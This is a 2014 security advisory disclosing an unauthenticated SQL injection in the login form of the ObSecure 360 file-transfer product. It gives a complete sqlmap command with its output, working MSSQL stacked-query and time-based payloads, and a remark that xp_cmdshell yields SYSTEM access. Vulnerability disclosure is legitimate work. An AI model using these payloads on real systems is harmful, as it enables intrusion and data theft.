ObSecure ObSecure360 Unauthenticated SQL Injection Vulnerability Release Date: 23-Dec-2014 Software: ObSecure 360 http://obsecure.com.au/Solutions.html "obsecure is an innovative cyber security software company that provides high security information distribution and transfer solutions that take the risk out of doing business." Clients include government, healthcare & doctors, corporate, legal and law enforcement. Versions tested: Version unknown. 1) SQL injection on the login form. You can use sqlmap for this. ./sqlmap.py -u "https://[target]/Reader/" --cookie "PHPSESSID=[session]" --forms [03:25:52] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'https://[target]/Reader/Reader.php'. Do you want to follow? [Y/n] y [03:25:55] [INFO] heuristics detected web page charset 'ISO-8859-2' [03:25:55] [INFO] searching for forms [#1] form: POST https://[target]:443/Reader/actions/login/verify_username.php Cookie: PHPSESSID=[session] POST data: userId=&login=Continue do you want to test this form? [Y/n/q] > y Edit POST data [default: userId=&login=Continue] (Warning: blank fields detected): do you want to fill blank fields with random values? [Y/n] y [03:26:01] [INFO] using 'results-06282013_0326am.csv' as the CSV results file in multiple targets mode [03:26:01] [INFO] heuristics detected web page charset 'ascii' [03:26:01] [INFO] testing if the target URL is stable. This can take a couple of seconds [03:26:03] [INFO] target URL is stable [03:26:03] [INFO] testing if POST parameter 'userId' is dynamic [03:26:03] [WARNING] POST parameter 'userId' does not appear dynamic [03:26:03] [WARNING] heuristic (basic) test shows that POST parameter 'userId' might not be injectable [03:26:03] [INFO] testing for SQL injection on POST parameter 'userId' [03:26:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [03:26:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [03:26:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [03:26:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [03:26:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [03:26:12] [INFO] testing 'MySQL inline queries' [03:26:12] [INFO] testing 'PostgreSQL inline queries' [03:26:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [03:26:12] [INFO] testing 'Oracle inline queries' [03:26:13] [INFO] testing 'SQLite inline queries' [03:26:13] [INFO] testing 'MySQL > 5.0.11 stacked queries' [03:26:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [03:26:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [03:26:27] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase stacked queries' injectable [03:26:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [03:26:37] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase time-based blind' injectable [03:26:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [03:26:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found [03:26:44] [INFO] checking if the injection point on POST parameter 'userId' is a false positive POST parameter 'userId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 80 HTTP(s) requests: --- Place: POST Parameter: userId Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: userId=ufgv'; WAITFOR DELAY '0:0:5'--&login=Continue Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: userId=ufgv' WAITFOR DELAY '0:0:5'--&login=Continue --- do you want to exploit this SQL injection? [Y/n] [03:27:04] [INFO] testing Microsoft SQL Server [03:27:04] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] [03:27:12] [INFO] confirming Microsoft SQL Server [03:27:18] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows web application technology: Apache 2.2.21, PHP 5.3.8 back-end DBMS: Microsoft SQL Server 2000 The software package ships with MSSQL2000 even though it is a decade+ old, so a simple xp_cmdshell() will yield SYSTEM access without any trickery. 2) There are other problems such as path disclosures and script injection issues present. Credit: This vulnerability was discovered by Patrick Webster. Disclosure timeline: 28-Jun-2013 - Discovered during audit. 30-Jul-2013 - Notified vendor. No response. 30-Oct-2014 - Asked vendor for a reply. No response. 23-Dec-2014 - Public disclosure. About OSI Security: OSI Security is an independent network and computer security auditing and consulting company based in Sydney, Australia. We provide internal and external penetration testing, vulnerability auditing and wireless site audits, vendor product assessments, secure network design, forensics and risk mitigation services. We can be found at http://www.osisecurity.com.au/